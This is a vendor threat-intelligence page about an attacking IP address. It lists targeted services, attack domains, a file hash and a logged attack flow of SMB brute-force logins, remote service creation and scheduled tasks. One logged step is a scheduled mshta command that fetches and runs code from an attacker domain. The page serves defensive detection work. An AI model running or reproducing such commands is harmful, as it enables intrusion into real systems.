Cyber Threat Intelligence

Discover malicious IPs and domains with Akamai Guardicore Segmentation

IP Address: 190.181.4.81Malicious

IP Address: 190.181.4.81Malicious

This IP address attempted an attack on a machine in our threat sensors network

Threat Information

Role

Attacker, Scanner

Services Targeted

MSSQL SMB

Tags

Service Start SMB Share Connect SMB Null Session Login MSSQL DNS Query Access Suspicious Domain Successful SMB Login CMD Scheduled Task Creation Access Share SMB Service Deletion SMB Brute Force File Operation By CMD Service Stop Service Creation Execute from Share Download File

Associated Attack Servers

t.amynx.com w.zz3r0.com

Basic Information

IP Address

190.181.4.81

Domain

-

ISP

-

Country

Bolivia, Plurinational State of

WHOIS

Created Date

-

Updated Date

-

Organization

-

First seen in Akamai Guardicore Segmentation

2023-03-19

Last seen in Akamai Guardicore Segmentation

2024-04-17

What is Akamai Guardicore Segmentation
Akamai Guardicore Segmentation is a data center and cloud security solution that protects the organization's core assets, using flexible, quickly deployed and easy to understand micro-segmentation controls. Akamai Guardicore Segmentation generates in-context security incidents, with details on attacker tools and techniques, that help IR teams prioritize incident investigation and reduce dwell time. Learn More

Attack Flow

A user logged in using SMB from NULL with the following username: XEUS14 - Authentication policy: Reached Max Attempts (Part of a Brute Force Attempt)

SMB Brute Force Successful SMB Login

C:\OljTBiDc.exe was downloaded

Download File

oljtbidc.exe was executed from the remote share \\server-backup\c$

Execute from Share

c:\windows\system32\services.exe installed and started \\server-backup\c$\oljtbidc.exe as a service named LBgN under service group None

Service Start Service Creation

C:\windows\temp\svchost.exe was downloaded

Download File

A user logged in using SMB with the following username: Administrator - Authentication policy: Reached Max Attempts (Part of a Brute Force Attempt)

SMB Brute Force Successful SMB Login

todbqimm.exe was executed from the remote share \\server-backup\c$

Execute from Share

c:\windows\system32\services.exe installed and started \\server-backup\c$\todbqimm.exe as a service named nRks under service group None

Service Start Service Creation

A user logged in using SMB with the following username: Administrator - Authentication policy: Previously Approved User (Part of a Brute Force Attempt) 3 times

SMB Brute Force Successful SMB Login

Service nRks was stopped

Service Stop

A user logged in using SMB from NULL with the following username: Administrator - Authentication policy: Previously Approved User (Part of a Brute Force Attempt) 5 times

SMB Brute Force Successful SMB Login

The command line C:\WINDOWS\system32\cmd.exe /c mshta http://w.zz3r0.com/page.html?pSERVER-BACKUP was scheduled to run by modifying C:\WINDOWS\Tasks\Autocheck.job

Process c:\windows\system32\mshta.exe attempted to access suspicious domains: w.zz3r0.com 2 times

Access Suspicious Domain DNS Query

C:\cQeUZYuJ.exe was downloaded

Download File

The command line c:\windows\QVDUeaI.exe was scheduled to run by modifying C:\WINDOWS\Tasks\Autostart.job

The command line c:\windows\Smazh.exe was scheduled to run by modifying C:\WINDOWS\Tasks\escan.job

cqeuzyuj.exe was executed from the remote share \\server-backup\c$

Execute from Share

c:\windows\system32\services.exe installed and started \\server-backup\c$\cqeuzyuj.exe as a service named pqAd under service group None

Service Start Service Creation

Service pqAd was stopped

Service Stop

Connection was closed due to timeout

Associated Files

C:\MxeoBgFX.exe

SHA256: 02462c051aa4e27cf6359173c040a6e51f20172d4fcdfa2c11b6fb6a50107ab0

56320 bytes